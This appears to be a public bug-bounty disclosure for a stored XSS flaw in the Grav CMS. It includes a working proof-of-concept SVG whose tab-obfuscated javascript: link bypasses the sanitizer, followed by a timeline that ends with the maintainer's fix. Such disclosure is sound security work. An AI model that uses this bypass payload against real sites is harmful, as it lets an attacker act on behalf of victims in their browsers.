

Cross-site Scripting (XSS) - Stored in getgrav/grav

0

✓ Valid

Reported on Mar 1st 2022

Description

SVG sanitizer could be bypassed via flowing SVG file that leads to stored XSS

Proof of Concept

```
<?xml version="1.0" standalone="no"?>
<svg viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg">
  <a href="javascript&#9;:alert(document.domain)">
    <circle cx="0" cy="0" r="300"/>
  </a>
</svg>
```

Upload the above SVG file in your profile, view it, and click anywhere on the page then XSS will be triggered :

Chat with us

postimage
free image hosting

image not found
or was removed

Impact

This vulnerability is capable of performing arbitrary actions on behalf of victims at the client side.

Vulnerability Type

CWE-79: Cross-site Scripting (XSS) - Stored

Severity

High (7.1)

Visibility

Public

Status

Fixed

Found by



Anna

@416e6e61

master ▼

Fixed by



Djamil Legato

@w00fz

maintainer

This report was seen 664 times.

We are processing your report and will contact the **getgrav/grav** team within 24 hours.

9 months ago

We have contacted a member of the **getgrav/grav** team and are waiting to hear back

9 months ago

We have sent a follow up to the **getgrav/grav** team. We will try again in 7 days.

9 months ago

Anna 9 months ago

Researcher

Any Update ?

We have sent a second follow up to the **getgrav/grav** team. We will try again in 10 days.

8 months ago

Anna 8 months ago

Researcher

Chat with us

Any Update?

Djamil Legato validated this vulnerability 8 months ago

Anna has been awarded the disclosure bounty ✓

The fix bounty is now up for grabs

Djamil Legato marked this as fixed in 1.7.31 with commit f19297 8 months ago

Djamil Legato has been awarded the fix bounty ✓

This vulnerability will not receive a CVE ✗

Djamil Legato 8 months ago

Maintainer

Thank you, we have a fix for this

Sign in to join this conversation

2022 © 418sec

huntr

home

hacktivity

leaderboard

FAQ

contact us

part of 418sec

company

about

team

Chat with us

[contact us](#)

[terms](#)

[privacy policy](#)

[Chat with us](#)